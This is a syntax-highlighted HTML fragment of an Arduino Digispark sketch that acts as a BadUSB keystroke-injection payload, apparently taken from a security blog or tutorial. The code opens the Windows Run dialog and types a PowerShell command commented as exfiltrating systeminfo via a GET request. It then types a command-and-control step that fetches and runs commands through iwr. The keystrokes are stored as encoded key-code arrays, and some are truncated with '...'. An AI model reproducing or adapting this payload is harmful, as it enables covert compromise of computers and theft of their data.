font-style: inherit;">#include </span><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">"DigiKeyboard.h"</span></span>
<span id="cb20-2"></span>
<span id="cb20-3"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">const</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">uint8_t</span> key_cmd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[]</span> PROGMEM <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">6</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">16</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">7</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">44</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">36</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">14</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb20-4"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">const</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">uint8_t</span> key_exfil<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[]</span> PROGMEM <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">19</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">18</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">26</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">21</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">22</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">11</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...};</span></span>
<span id="cb20-5"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">const</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">uint8_t</span> key_exit<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[]</span> PROGMEM <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">27</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">12</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">23</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">};</span></span>
<span id="cb20-6"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">const</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">uint8_t</span> key_ps<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[]</span> PROGMEM <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">19</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">18</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">26</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">21</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">22</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...};</span></span>
<span id="cb20-7"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">const</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">uint8_t</span> key_c2<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[]</span> PROGMEM <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">33</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">11</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">39</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">12</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">26</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...};</span></span>
<span id="cb20-8"></span>
<span id="cb20-9"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">void</span> duckyString<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">const</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">uint8_t</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> keys<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">size_t</span> len<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span>  </span>
<span id="cb20-10">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">size_t</span> i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>len<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb20-11">        DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>pgm_read_byte_near<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>keys <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">),</span> pgm_read_byte_near<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>keys <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> i<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">));</span></span>
<span id="cb20-12">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb20-13"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb20-14"></span>
<span id="cb20-15"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">void</span> setup<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{}</span></span>
<span id="cb20-16"></span>
<span id="cb20-17"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">void</span> loop<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb20-18">  pinMode<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> OUTPUT<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Enable LED</span></span>
<span id="cb20-19">  digitalWrite<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> LOW<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Turn LED off</span></span>
<span id="cb20-20">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Tell computer no key is pressed</span></span>
<span id="cb20-21"></span>
<span id="cb20-22">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">long</span> seconds <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1000</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">L</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb20-23">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">long</span> minutes <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> seconds <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">60</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb20-24">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unsigned</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">long</span> hours <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> minutes <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">60</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb20-25"></span>
<span id="cb20-26">  <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Exfiltrate systeminfo via GET request</span></span>
<span id="cb20-27">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5000</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 5000</span></span>
<span id="cb20-28">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">21</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// GUI R</span></span>
<span id="cb20-29">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1000</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 1000</span></span>
<span id="cb20-30">  duckyString<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_cmd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">sizeof</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_cmd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">));</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// STRING cmd /k</span></span>
<span id="cb20-31">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">40</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ENTER</span></span>
<span id="cb20-32">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5000</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 1000</span></span>
<span id="cb20-33">  duckyString<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_exfil<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">sizeof</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_exfil<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">));</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// STRING powershell...</span></span>
<span id="cb20-34">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">40</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ENTER</span></span>
<span id="cb20-35">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">10000</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 10000</span></span>
<span id="cb20-36">  duckyString<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_exit<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">sizeof</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_exit<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">));</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// STRING exit</span></span>
<span id="cb20-37">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">40</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ENTER</span></span>
<span id="cb20-38"></span>
<span id="cb20-39">  delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>minutes<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb20-40"></span>
<span id="cb20-41">  <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// c2 execute from encrypted header</span></span>
<span id="cb20-42">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">10000</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 10000</span></span>
<span id="cb20-43">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">21</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">8</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// GUI R</span></span>
<span id="cb20-44">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2000</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 2000</span></span>
<span id="cb20-45">  duckyString<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_cmd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">sizeof</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_cmd<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">));</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// STRING cmd /k</span></span>
<span id="cb20-46">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">500</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 500</span></span>
<span id="cb20-47">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">40</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ENTER</span></span>
<span id="cb20-48">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2000</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 2000</span></span>
<span id="cb20-49">  duckyString<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_ps<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">sizeof</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_ps<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">));</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// STRING powershell...</span></span>
<span id="cb20-50">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>delay<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">500</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// DELAY 500</span></span>
<span id="cb20-51">  DigiKeyboard<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>sendKeyStroke<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">40</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// ENTER</span></span>
<span id="cb20-52">  duckyString<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_c2<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">sizeof</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>key_c2<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">));</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// STRING $h=iwr -useR('')...</span></span>
